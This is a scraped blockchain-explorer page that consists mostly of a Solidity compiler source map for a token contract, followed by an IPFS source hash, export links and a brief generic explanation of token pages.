52;;;8722:35;:41;8758:4;8722:41;;;;;;;;;;;;;;;;;;;;;;;;;8718:603;;;8785:1;8775:6;:11;8766:25;;;;;;;;;;;;:::i;:::-;;;;;;;;;8718:603;;;8834:35;:39;8870:2;8834:39;;;;;;;;;;;;;;;;;;;;;;;;;8830:66;;8890:1;8883:6;:8;8875:21;;;;;;;;;;;;:::i;:::-;;;;;;;;;8830:66;8915:38;8936:4;8942:2;8946:6;8915:20;:38::i;:::-;8974:19;8996:9;:15;9006:4;8996:15;;;;;;;;;;;;;;;;8974:37;;9053:6;9038:11;:21;;9030:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;9186:6;9172:11;:20;9154:9;:15;9164:4;9154:15;;;;;;;;;;;;;;;:38;;;;9247:6;9230:9;:13;9240:2;9230:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;9294:2;9279:26;;9288:4;9279:26;;;9298:6;9279:26;;;;;;:::i;:::-;;;;;;;;8811:510;8718:603;8680:652;8602:785;;;9376:4;9359:21;;:13;;;;;;;;;;;:21;;;9350:35;;;;;;;;;;;;:::i;:::-;;;;;;;;;8602:785;9397:37;9417:4;9423:2;9427:6;9397:19;:37::i;:::-;8325:1117;;;:::o;10461:434::-;10564:1;10545:21;;:7;:21;;;;10537:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10621:22;10646:9;:18;10656:7;10646:18;;;;;;;;;;;;;;;;10621:43;;10701:6;10683:14;:24;;10675:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;10795:6;10784:8;;:17;;;;:::i;:::-;10763:9;:18;10773:7;10763:18;;;;;;;;;;;;;;;:38;;;;10828:6;10812:12;;:22;;;;;;;:::i;:::-;;;;;;;;10876:1;10850:37;;10859:7;10850:37;;;10880:6;10850:37;;;;;;:::i;:::-;;;;;;;;10526:369;10461:434;;:::o;1078:81:0:-;1118:7;1145:6;;;;;;;;;;;1138:13;;1078:81;:::o;13053:125:1:-;;;;:::o;13782:124::-;;;;:::o;7:99:6:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1601:117;1710:1;1707;1700:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:86::-;4506:7;4546:4;4539:5;4535:16;4524:27;;4471:86;;;:::o;4563:112::-;4646:22;4662:5;4646:22;:::i;:::-;4641:3;4634:35;4563:112;;:::o;4681:214::-;4770:4;4808:2;4797:9;4793:18;4785:26;;4821:67;4885:1;4874:9;4870:17;4861:6;4821:67;:::i;:::-;4681:214;;;;:::o;4901:117::-;5010:1;5007;5000:12;5024:117;5133:1;5130;5123:12;5147:117;5256:1;5253;5246:12;5287:568;5360:8;5370:6;5420:3;5413:4;5405:6;5401:17;5397:27;5387:122;;5428:79;;:::i;:::-;5387:122;5541:6;5528:20;5518:30;;5571:18;5563:6;5560:30;5557:117;;;5593:79;;:::i;:::-;5557:117;5707:4;5699:6;5695:17;5683:29;;5761:3;5753:4;5745:6;5741:17;5731:8;5727:32;5724:41;5721:128;;;5768:79;;:::i;:::-;5721:128;5287:568;;;;;:::o;5861:116::-;5931:21;5946:5;5931:21;:::i;:::-;5924:5;5921:32;5911:60;;5967:1;5964;5957:12;5911:60;5861:116;:::o;5983:133::-;6026:5;6064:6;6051:20;6042:29;;6080:30;6104:5;6080:30;:::i;:::-;5983:133;;;;:::o;6122:698::-;6214:6;6222;6230;6279:2;6267:9;6258:7;6254:23;6250:32;6247:119;;;6285:79;;:::i;:::-;6247:119;6433:1;6422:9;6418:17;6405:31;6463:18;6455:6;6452:30;6449:117;;;6485:79;;:::i;:::-;6449:117;6598:80;6670:7;6661:6;6650:9;6646:22;6598:80;:::i;:::-;6580:98;;;;6376:312;6727:2;6753:50;6795:7;6786:6;6775:9;6771:22;6753:50;:::i;:::-;6743:60;;6698:115;6122:698;;;;;:::o;6826:329::-;6885:6;6934:2;6922:9;6913:7;6909:23;6905:32;6902:119;;;6940:79;;:::i;:::-;6902:119;7060:1;7085:53;7130:7;7121:6;7110:9;7106:22;7085:53;:::i;:::-;7075:63;;7031:117;6826:329;;;;:::o;7161:474::-;7229:6;7237;7286:2;7274:9;7265:7;7261:23;7257:32;7254:119;;;7292:79;;:::i;:::-;7254:119;7412:1;7437:53;7482:7;7473:6;7462:9;7458:22;7437:53;:::i;:::-;7427:63;;7383:117;7539:2;7565:53;7610:7;7601:6;7590:9;7586:22;7565:53;:::i;:::-;7555:63;;7510:118;7161:474;;;;;:::o;7641:180::-;7689:77;7686:1;7679:88;7786:4;7783:1;7776:15;7810:4;7807:1;7800:15;7827:320;7871:6;7908:1;7902:4;7898:12;7888:22;;7955:1;7949:4;7945:12;7976:18;7966:81;;8032:4;8024:6;8020:17;8010:27;;7966:81;8094:2;8086:6;8083:14;8063:18;8060:38;8057:84;;;8113:18;;:::i;:::-;8057:84;7878:269;7827:320;;;:::o;8153:180::-;8201:77;8198:1;8191:88;8298:4;8295:1;8288:15;8322:4;8319:1;8312:15;8339:305;8379:3;8398:20;8416:1;8398:20;:::i;:::-;8393:25;;8432:20;8450:1;8432:20;:::i;:::-;8427:25;;8586:1;8518:66;8514:74;8511:1;8508:81;8505:107;;;8592:18;;:::i;:::-;8505:107;8636:1;8633;8629:9;8622:16;;8339:305;;;;:::o;8650:182::-;8790:34;8786:1;8778:6;8774:14;8767:58;8650:182;:::o;8838:366::-;8980:3;9001:67;9065:2;9060:3;9001:67;:::i;:::-;8994:74;;9077:93;9166:3;9077:93;:::i;:::-;9195:2;9190:3;9186:12;9179:19;;8838:366;;;:::o;9210:419::-;9376:4;9414:2;9403:9;9399:18;9391:26;;9463:9;9457:4;9453:20;9449:1;9438:9;9434:17;9427:47;9491:131;9617:4;9491:131;:::i;:::-;9483:139;;9210:419;;;:::o;9635:180::-;9683:77;9680:1;9673:88;9780:4;9777:1;9770:15;9804:4;9801:1;9794:15;9821:233;9860:3;9883:24;9901:5;9883:24;:::i;:::-;9874:33;;9929:66;9922:5;9919:77;9916:103;;;9999:18;;:::i;:::-;9916:103;10046:1;10039:5;10035:13;10028:20;;9821:233;;;:::o;10060:224::-;10200:34;10196:1;10188:6;10184:14;10177:58;10269:7;10264:2;10256:6;10252:15;10245:32;10060:224;:::o;10290:366::-;10432:3;10453:67;10517:2;10512:3;10453:67;:::i;:::-;10446:74;;10529:93;10618:3;10529:93;:::i;:::-;10647:2;10642:3;10638:12;10631:19;;10290:366;;;:::o;10662:419::-;10828:4;10866:2;10855:9;10851:18;10843:26;;10915:9;10909:4;10905:20;10901:1;10890:9;10886:17;10879:47;10943:131;11069:4;10943:131;:::i;:::-;10935:139;;10662:419;;;:::o;11087:223::-;11227:34;11223:1;11215:6;11211:14;11204:58;11296:6;11291:2;11283:6;11279:15;11272:31;11087:223;:::o;11316:366::-;11458:3;11479:67;11543:2;11538:3;11479:67;:::i;:::-;11472:74;;11555:93;11644:3;11555:93;:::i;:::-;11673:2;11668:3;11664:12;11657:19;;11316:366;;;:::o;11688:419::-;11854:4;11892:2;11881:9;11877:18;11869:26;;11941:9;11935:4;11931:20;11927:1;11916:9;11912:17;11905:47;11969:131;12095:4;11969:131;:::i;:::-;11961:139;;11688:419;;;:::o;12113:221::-;12253:34;12249:1;12241:6;12237:14;12230:58;12322:4;12317:2;12309:6;12305:15;12298:29;12113:221;:::o;12340:366::-;12482:3;12503:67;12567:2;12562:3;12503:67;:::i;:::-;12496:74;;12579:93;12668:3;12579:93;:::i;:::-;12697:2;12692:3;12688:12;12681:19;;12340:366;;;:::o;12712:419::-;12878:4;12916:2;12905:9;12901:18;12893:26;;12965:9;12959:4;12955:20;12951:1;12940:9;12936:17;12929:47;12993:131;13119:4;12993:131;:::i;:::-;12985:139;;12712:419;;;:::o;13137:179::-;13277:31;13273:1;13265:6;13261:14;13254:55;13137:179;:::o;13322:366::-;13464:3;13485:67;13549:2;13544:3;13485:67;:::i;:::-;13478:74;;13561:93;13650:3;13561:93;:::i;:::-;13679:2;13674:3;13670:12;13663:19;;13322:366;;;:::o;13694:419::-;13860:4;13898:2;13887:9;13883:18;13875:26;;13947:9;13941:4;13937:20;13933:1;13922:9;13918:17;13911:47;13975:131;14101:4;13975:131;:::i;:::-;13967:139;;13694:419;;;:::o;14119:224::-;14259:34;14255:1;14247:6;14243:14;14236:58;14328:7;14323:2;14315:6;14311:15;14304:32;14119:224;:::o;14349:366::-;14491:3;14512:67;14576:2;14571:3;14512:67;:::i;:::-;14505:74;;14588:93;14677:3;14588:93;:::i;:::-;14706:2;14701:3;14697:12;14690:19;;14349:366;;;:::o;14721:419::-;14887:4;14925:2;14914:9;14910:18;14902:26;;14974:9;14968:4;14964:20;14960:1;14949:9;14945:17;14938:47;15002:131;15128:4;15002:131;:::i;:::-;14994:139;;14721:419;;;:::o;15146:222::-;15286:34;15282:1;15274:6;15270:14;15263:58;15355:5;15350:2;15342:6;15338:15;15331:30;15146:222;:::o;15374:366::-;15516:3;15537:67;15601:2;15596:3;15537:67;:::i;:::-;15530:74;;15613:93;15702:3;15613:93;:::i;:::-;15731:2;15726:3;15722:12;15715:19;;15374:366;;;:::o;15746:419::-;15912:4;15950:2;15939:9;15935:18;15927:26;;15999:9;15993:4;15989:20;15985:1;15974:9;15970:17;15963:47;16027:131;16153:4;16027:131;:::i;:::-;16019:139;;15746:419;;;:::o;16171:114::-;;:::o;16291:364::-;16433:3;16454:66;16518:1;16513:3;16454:66;:::i;:::-;16447:73;;16529:93;16618:3;16529:93;:::i;:::-;16647:1;16642:3;16638:11;16631:18;;16291:364;;;:::o;16661:419::-;16827:4;16865:2;16854:9;16850:18;16842:26;;16914:9;16908:4;16904:20;16900:1;16889:9;16885:17;16878:47;16942:131;17068:4;16942:131;:::i;:::-;16934:139;;16661:419;;;:::o;17086:225::-;17226:34;17222:1;17214:6;17210:14;17203:58;17295:8;17290:2;17282:6;17278:15;17271:33;17086:225;:::o;17317:366::-;17459:3;17480:67;17544:2;17539:3;17480:67;:::i;:::-;17473:74;;17556:93;17645:3;17556:93;:::i;:::-;17674:2;17669:3;17665:12;17658:19;;17317:366;;;:::o;17689:419::-;17855:4;17893:2;17882:9;17878:18;17870:26;;17942:9;17936:4;17932:20;17928:1;17917:9;17913:17;17906:47;17970:131;18096:4;17970:131;:::i;:::-;17962:139;;17689:419;;;:::o;18114:220::-;18254:34;18250:1;18242:6;18238:14;18231:58;18323:3;18318:2;18310:6;18306:15;18299:28;18114:220;:::o;18340:366::-;18482:3;18503:67;18567:2;18562:3;18503:67;:::i;:::-;18496:74;;18579:93;18668:3;18579:93;:::i;:::-;18697:2;18692:3;18688:12;18681:19;;18340:366;;;:::o;18712:419::-;18878:4;18916:2;18905:9;18901:18;18893:26;;18965:9;18959:4;18955:20;18951:1;18940:9;18936:17;18929:47;18993:131;19119:4;18993:131;:::i;:::-;18985:139;;18712:419;;;:::o;19137:221::-;19277:34;19273:1;19265:6;19261:14;19254:58;19346:4;19341:2;19333:6;19329:15;19322:29;19137:221;:::o;19364:366::-;19506:3;19527:67;19591:2;19586:3;19527:67;:::i;:::-;19520:74;;19603:93;19692:3;19603:93;:::i;:::-;19721:2;19716:3;19712:12;19705:19;;19364:366;;;:::o;19736:419::-;19902:4;19940:2;19929:9;19925:18;19917:26;;19989:9;19983:4;19979:20;19975:1;19964:9;19960:17;19953:47;20017:131;20143:4;20017:131;:::i;:::-;20009:139;;19736:419;;;:::o;20161:191::-;20201:4;20221:20;20239:1;20221:20;:::i;:::-;20216:25;;20255:20;20273:1;20255:20;:::i;:::-;20250:25;;20294:1;20291;20288:8;20285:34;;;20299:18;;:::i;:::-;20285:34;20344:1;20341;20337:9;20329:17;;20161:191;;;;:::o

Swarm Source

ipfs://3b0184a18d7529ab5081a64114eb5812fc04401d9ff9eedc6ea6b313cdda4ab3
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.